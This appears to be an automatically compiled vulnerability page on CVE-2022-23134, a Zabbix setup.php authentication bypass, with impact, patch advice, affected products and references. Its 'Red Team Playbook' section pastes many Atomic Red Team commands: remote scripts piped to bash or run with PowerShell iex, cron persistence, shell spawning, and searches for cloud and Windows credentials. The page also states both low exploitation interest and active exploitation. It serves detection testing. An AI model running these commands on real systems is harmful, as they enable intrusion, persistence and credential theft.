CVE-2022-23134
Overview
This vulnerability is an authentication bypass affecting the Zabbix Frontend setup process. The root cause lies in improper access control on certain steps of the setup.php file, which remain accessible to unauthenticated users after initial setup completion. This flaw allows unauthorized users to interact with configuration steps intended only for super-administrators, compromising the integrity of access restrictions within the web interface.
Vulnerability Description
After the initial setup process, some steps of setup.php file are reachable not only by super-administrators, but by unauthenticated users as well. Malicious actor can pass step checks and potentially change the configuration of Zabbix Frontend.
Impact
An unauthenticated attacker can exploit this vulnerability to bypass authentication controls and access sensitive configuration steps of the Zabbix Frontend. This unauthorized access enables modification of system settings, potentially leading to unauthorized configuration changes and exposure of sensitive information. No prior authentication or user interaction is required, increasing the attack surface and risk of compromise to the monitoring infrastructure's integrity and availability.
Solution
Apply the patches provided by Zabbix in their official advisories referenced at https://support.zabbix.com/browse/ZBX-20384. The issue is addressed in stable releases following the 6.0.0 alpha series. Additionally, Fedora and Debian security advisories provide updated package versions that mitigate this vulnerability. Administrators should upgrade to the latest secure version of Zabbix Frontend as per vendor guidance and verify that setup.php endpoints are properly restricted post-installation.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in question arises from improper access controls within the setup.php file of the Zabbix monitoring software. This file, intended for use only during the initial configuration of the application, inadvertently exposes certain setup steps to unauthenticated users. This flaw allows malicious actors to bypass the intended restrictions, potentially leading to unauthorized modifications of the Zabbix Frontend configuration. The implications of this vulnerability are significant, as it undermines the security model of the application, which relies on super-administrator privileges to safeguard critical settings and configurations.
Attack vectors for this vulnerability are relatively straightforward. An attacker, without any prior authentication, can access the setup.php file and manipulate the configuration steps that should be restricted. For example, an attacker could alter database connection settings, change user permissions, or even modify the application's operational parameters. Such actions could lead to a complete compromise of the monitoring system, allowing the attacker to manipulate or disrupt the monitoring of IT infrastructure, potentially leading to service outages or data breaches. The ease of exploitation, combined with the potential for significant impact, makes this vulnerability particularly concerning.
The real-world impact of this vulnerability can be profound, especially for organizations that rely on Zabbix for critical monitoring and alerting functions. If an attacker successfully exploits this flaw, they could gain control over the monitoring system, leading to unauthorized access to sensitive information or the ability to disable monitoring altogether. This could result in undetected security breaches, prolonged downtime, and significant financial losses. Furthermore, the reputational damage to organizations that fail to secure their monitoring systems could have long-lasting effects, particularly in industries where compliance and data integrity are paramount.
To detect and mitigate this vulnerability, organizations should implement several strategies. First, regular security audits and code reviews should be conducted to identify and rectify access control issues in web applications. Additionally, organizations should enforce strict access controls, ensuring that only authenticated and authorized users can access sensitive configuration files. Employing web application firewalls (WAFs) can also help in monitoring and blocking unauthorized access attempts. Furthermore, organizations should stay updated with the latest patches and security updates from Zabbix, as these often address known vulnerabilities and improve overall security posture.
In conclusion, the vulnerability within the Zabbix setup.php file represents a significant risk to organizations utilizing this monitoring software. The combination of improper access controls and the potential for exploitation underscores the importance of robust security practices in software development and deployment. By implementing proactive detection and mitigation strategies, organizations can safeguard their systems against such vulnerabilities, ensuring the integrity and reliability of their monitoring solutions.
Recent updates to CVE-2022-23134 indicate a downward revision of its CVSS score from 5.3 to 3.7, reflecting a reassessment of the vulnerability’s impact and exploitability. Concurrently, the Exploit Prediction Scoring System (EPSS) score has slightly decreased, signaling a modest reduction in the likelihood of exploitation in the near term. CSURFACE threat intelligence has not detected any significant increase in active exploitation attempts, and the exploit landscape remains limited to publicly available proof-of-concept code with minimal engagement. This recalibration suggests that while the vulnerability persists, its practical risk to operational environments is lower than initially estimated. For defenders, this means that although vigilance remains necessary, the immediate threat posed by unauthorized access to Zabbix’s setup.php configuration steps is less severe, allowing for prioritization of higher-risk vulnerabilities. The updated risk assessment aligns with current telemetry indicating stable but low exploitation interest, underscoring the importance of contextualizing vulnerability severity within evolving threat dynamics.
Affected Products (12)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Zabbix | Zabbix | All |
cpe:2.3:a:zabbix:zabbix:*:*:*:*:*:*:*:*
|
|
|
Zabbix | Zabbix | 6.0.0 |
cpe:2.3:a:zabbix:zabbix:6.0.0:alpha1:*:*:*:*:*:*
|
|
|
Zabbix | Zabbix | 6.0.0 |
cpe:2.3:a:zabbix:zabbix:6.0.0:alpha2:*:*:*:*:*:*
|
|
|
Zabbix | Zabbix | 6.0.0 |
cpe:2.3:a:zabbix:zabbix:6.0.0:alpha3:*:*:*:*:*:*
|
|
|
Zabbix | Zabbix | 6.0.0 |
cpe:2.3:a:zabbix:zabbix:6.0.0:alpha4:*:*:*:*:*:*
|
|
|
Zabbix | Zabbix | 6.0.0 |
cpe:2.3:a:zabbix:zabbix:6.0.0:alpha5:*:*:*:*:*:*
|
|
|
Zabbix | Zabbix | 6.0.0 |
cpe:2.3:a:zabbix:zabbix:6.0.0:alpha6:*:*:*:*:*:*
|
|
|
Zabbix | Zabbix | 6.0.0 |
cpe:2.3:a:zabbix:zabbix:6.0.0:alpha7:*:*:*:*:*:*
|
|
|
Zabbix | Zabbix | 6.0.0 |
cpe:2.3:a:zabbix:zabbix:6.0.0:beta1:*:*:*:*:*:*
|
|
|
Fedoraproject | Fedora | 34 |
cpe:2.3:o:fedoraproject:fedora:34:*:*:*:*:*:*:*
|
|
|
Fedoraproject | Fedora | 35 |
cpe:2.3:o:fedoraproject:fedora:35:*:*:*:*:*:*:*
|
|
|
Debian | Debian Linux | 9.0 |
cpe:2.3:o:debian:debian_linux:9.0:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (1)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
TheN00bBuilder/cve-2022-23134-poc-and-writeup
Writeup and POC for CVE-2022-23134
|
TheN00bBuilder | 1 | 0 | 2025-03-23 | View |
Threat Feed
4 eventsSighting activity recorded
Sighting activity recorded
Proof-of-concept code is publicly available for this vulnerability
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
47 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
echo "#{command}" > /etc/cron.d/#{cron_script_name}
echo "#{command}" >> /var/spool/cron/crontabs/#{cron_script_name}
echo "#{command}" > /etc/cron.daily/#{cron_script_name}
echo "#{command}" > /etc/cron.hourly/#{cron_script_name}
echo "#{command}" > /etc/cron.monthly/#{cron_script_name}
echo "#{command}" > /etc/cron.weekly/#{cron_script_name}
crontab -l > /tmp/notevil
echo "* * * * * #{command}" > #{tmp_cron} && crontab #{tmp_cron}
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (6)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2022-23134 |
| support.zabbix.com |
GitHub CVE
x_refsource_MISC
|
https://support.zabbix.com/browse/ZBX-20384 |
| lists.fedoraproject.org |
GitHub CVE
vendor-advisory
x_refsource_FEDORA
|
https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/6SZYHXINBKCY42ITFSNCYE7KCSF33VRA/ |
| lists.fedoraproject.org |
GitHub CVE
vendor-advisory
x_refsource_FEDORA
|
https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/VB6W556GVXOKUYTASTDGL3AI7S3SJHX7/ |
| lists.debian.org |
GitHub CVE
mailing-list
x_refsource_MLIST
|
https://lists.debian.org/debian-lts-announce/2022/02/msg00008.html |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2022-23134 |